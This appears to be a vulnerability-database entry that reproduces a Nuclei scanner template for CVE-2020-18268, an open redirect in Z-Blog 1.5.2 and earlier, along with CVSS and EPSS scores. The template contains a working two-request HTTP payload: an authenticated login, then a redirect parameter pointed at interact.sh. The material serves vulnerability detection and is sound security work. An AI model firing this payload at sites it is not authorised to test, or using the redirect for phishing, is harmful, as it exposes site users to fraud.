Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2020-18268
HistoryJan 26, 2022 - 10:01 p.m.

Z-Blog <=1.5.2 - Open Redirect

2022-01-2622:01:17
ProjectDiscovery
github.com
16
cve-2020-18268
z-blogphp
open redirect
authenticated
zblogcn

CVSS2

5.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:P/I:P/A:N

CVSS3

6.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

EPSS

0.001

Percentile

50.9%

Z-Blog 1.5.2 and earlier contains an open redirect vulnerability via the redirect parameter in zb_system/cmd.php. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

id: CVE-2020-18268

info:
  name: Z-Blog <=1.5.2 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: Z-Blog 1.5.2 and earlier contains an open redirect vulnerability via the redirect parameter in zb_system/cmd.php. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the execution of further attacks.
  remediation: |
    Upgrade Z-Blog to version 1.5.3 or later to fix the open redirect vulnerability.
  reference:
    - https://github.com/zblogcn/zblogphp/issues/216
    - https://github.com/zblogcn/zblogphp/issues/209
    - https://nvd.nist.gov/vuln/detail/CVE-2020-18268
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-18268
    cwe-id: CWE-601
    epss-score: 0.00147
    epss-percentile: 0.50674
    cpe: cpe:2.3:a:zblogcn:z-blogphp:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: zblogcn
    product: z-blogphp
  tags: cve,cve2020,redirect,zblogphp,authenticated,zblogcn

http:
  - raw:
      - |
        POST /zb_system/cmd.php?act=verify HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 81
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        btnPost=Log+In&username={{username}}&password={{md5("{{password}}")}}&savedate=0
      - |
        GET /zb_system/cmd.php?atc=login&redirect=http://www.interact.sh HTTP/2
        Host: {{Hostname}}

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
# digest: 490a0046304402203c3cf5580aa4db762ce68e2d12fc511beee50a7a1ff3a9a6c60d6a1082ae0f1102202fe9e217585a223c676c328ded6295a13fad15288bb824182301e27ecd2c0bb5:922c64590222798bb761d5b6d8e72950

CVSS2

5.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:P/I:P/A:N

CVSS3

6.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

EPSS

0.001

Percentile

50.9%

Related for NUCLEI:CVE-2020-18268